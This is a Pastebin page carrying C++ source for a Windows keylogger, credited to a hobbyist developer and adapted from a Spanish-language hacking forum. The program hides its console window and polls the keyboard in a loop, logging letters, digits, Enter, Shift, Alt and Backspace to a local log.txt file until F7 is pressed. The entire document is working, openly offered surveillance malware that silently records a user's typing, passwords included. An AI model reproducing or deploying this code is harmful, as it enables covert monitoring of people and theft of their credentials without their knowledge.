Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Keyloger.cpp
- //2021 Develop with ❤ by pampa_rider (https://github.com/pampa-rider)
- //twitter: pampa_rider
- //Original code from: https://underc0de.org/foro/profile/Jhonjhon_123
- #include<iostream>
- #include<windows.h>
- #include <fstream>
- using namespace std;
- int main()
- {
- bool aprete=true;
- int hit = -32767;
- ofstream log;
- log.open("log.txt", ofstream::out);
- if(log.fail())
- {cout<<"error al abrir el archivo"<<endl;}
- HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
- ShowWindow(ocultar,NULL);
- while(aprete)
- {
- if(GetAsyncKeyState(VK_SPACE) == hit){log<<" ";}
- if(GetAsyncKeyState('A') == hit){log <<"A";}
- if(GetAsyncKeyState('B') == hit){log<<"B";}
- if(GetAsyncKeyState('C') == hit){log<<"C";}
- if(GetAsyncKeyState('D') == hit){log<<"D";}
- if(GetAsyncKeyState('E') == hit){log<<"E";}
- if(GetAsyncKeyState('F') == hit){log<<"F";}
- if(GetAsyncKeyState('G') == hit){log<<"G";}
- if(GetAsyncKeyState('H') == hit){log<<"H";}
- if(GetAsyncKeyState('I') == hit){log<<"I";}
- if(GetAsyncKeyState('J') == hit){log<<"J";}
- if(GetAsyncKeyState('K') == hit){log<<"K";}
- if(GetAsyncKeyState('L') == hit){log<<"L";}
- if(GetAsyncKeyState('M') == hit){log<<"M";}
- if(GetAsyncKeyState('N') == hit){log<<"N";}
- if(GetAsyncKeyState('O') == hit){log<<"O";}
- if(GetAsyncKeyState(VK_CAPITAL) == hit){log<<"Mayus-";}
- if(GetAsyncKeyState(VK_BACK) == hit){log<<"BKSPACE";}
- if(GetAsyncKeyState('P') == hit){log<<"P";}
- if(GetAsyncKeyState('Q') == hit){log<<"Q";}
- if(GetAsyncKeyState('R') == hit){log<<"R";}
- if(GetAsyncKeyState('S') == hit){log<<"S";}
- if(GetAsyncKeyState('V') == hit){log<<"V";}
- if(GetAsyncKeyState('X') == hit){log<<"X";}
- if(GetAsyncKeyState('Y') == hit){log<<"Y";}
- if(GetAsyncKeyState('Z') == hit){log<<"Z";}
- if(GetAsyncKeyState(VK_RETURN) == hit){log<<endl;}
- if(GetAsyncKeyState('1') == hit){log<<"1";}
- if(GetAsyncKeyState('2') == hit){log<<"2";}
- if(GetAsyncKeyState('3') == hit){log<<"3";}
- if(GetAsyncKeyState('4') == hit){log<<"4";}
- if(GetAsyncKeyState('5') == hit){log<<"5";}
- if(GetAsyncKeyState('6') == hit){log<<"6";}
- if(GetAsyncKeyState('7') == hit){log<<"7";}
- if(GetAsyncKeyState('8') == hit){log<<"8";}
- if(GetAsyncKeyState('9') == hit){log<<"9";}
- if(GetAsyncKeyState('0') == hit){log<<"0";}
- if(GetAsyncKeyState(VK_LSHIFT) == hit){log<<"SFT-1";}
- if(GetAsyncKeyState(VK_MENU) == hit){log<<"ALT-1";}
- if(GetAsyncKeyState(VK_F7) == hit)
- {
- ShowWindow(ocultar,1);
- aprete=false;
- }
- }
- log.close();
- system("pause");
- }
Add Comment
Please, Sign In to add comment